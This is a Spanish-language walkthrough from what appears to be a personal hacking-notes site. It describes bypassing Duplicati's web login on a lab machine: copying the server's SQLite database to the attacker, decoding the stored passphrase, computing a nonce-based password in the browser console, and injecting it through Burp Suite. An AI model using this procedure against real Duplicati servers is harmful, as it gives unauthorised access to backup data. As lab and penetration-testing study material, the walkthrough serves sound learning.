> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md).

# Duplicati - Omitir la autenticación de inicio de sesión

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Durante el análisis del objetivo, se **Duplicati** se descubre un portal web. El portal muestra un panel de autenticación que requiere una contraseña.

<figure><img src="/files/f5bb96cb454aa74476fed9bd30b6ea70867fba2c" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati es un cliente de copias de seguridad que almacena copias cifradas, incrementales y comprimidas de archivos locales en proveedores de almacenamiento en la nube o servidores de archivos.
{% endhint %}

La enumeración del sistema localiza el directorio de configuración de Duplicati en `/opt/duplicati`. El archivo SQLite `Duplicati-server.sqlite` puede contener información sensible.

<figure><img src="/files/ca4894bf2d8135c17bf97793e322863f1ad37330" alt=""><figcaption></figcaption></figure>

#### Descarga del archivo SQLite

Para analizar el archivo, descárgalo en la máquina atacante usando un servidor HTTP de Python:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/d515b1e702172825de8fb2bff792c10c1165f539" alt=""><figcaption></figcaption></figure>

#### Análisis del archivo SQLite

Abre el archivo con `sqlite3` para inspeccionar su contenido:

```bash
sqlite3 Duplicati-server.sqlite
```

Enumera las tablas y selecciona la `opción` tabla para la extracción de datos:

```sql
.tables
select * from option;
```

<figure><img src="/files/d831b5e2966c8e702bb347663c3fed3862e30f71" alt=""><figcaption></figcaption></figure>

| Clave                             | Valor                                          |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Conversión de la frase de contraseña

El `server-passphrase` el valor está codificado en Base64. Decodifícalo y conviértelo a hexadecimal con:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/25ad4926fd8cf062669f86227e7cbdc14c1a3ac5" alt=""><figcaption></figcaption></figure>

#### Esto da el siguiente valor hexadecimal:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Cálculo final de la contraseña

Para generar la contraseña final, ejecuta los siguientes pasos en la consola del navegador:

**Define la frase de contraseña con sal:**

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Interceptando la solicitud con Burp Suite

Intercepta la solicitud en Burp Suite, elige `Haz clic en Intercept > Response to this request`, luego haz clic en `Reenviar`.

<figure><img src="/files/63d310cc55f9f504e7accfcf8de7d3de6c5fdd3f" alt=""><figcaption></figcaption></figure>

Una solicitud HTTP interceptada con **Burp Suite** revela los siguientes valores:

<figure><img src="/files/2949396988826b3aa24de2bc8e0eab5990c241c5" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

El `Salt` coincide con el `server-passphrase-salt` valor extraído de la base de datos.

**Calcula la contraseña del nonce:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Imprime el resultado:**

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/b201ad8b77f9e0cc6cb1cc6ea836cfd9c138fa87" alt=""><figcaption></figcaption></figure>

La contraseña generada (`noncedpwd`) es:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Inyección y explotación de contraseñas

1. Pega la contraseña calculada.
2. Utilice **Ctrl + U** para codificarlo en URL.

<figure><img src="/files/2a5c51766c960b7a5b8d91f268f42ffb633b7de0" alt=""><figcaption></figcaption></figure>

3. Haz clic en **Reenviar** de nuevo para completar la explotación.

<figure><img src="/files/36b5a218b19a33da1c2d60525c4c6dcda07a7fcc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
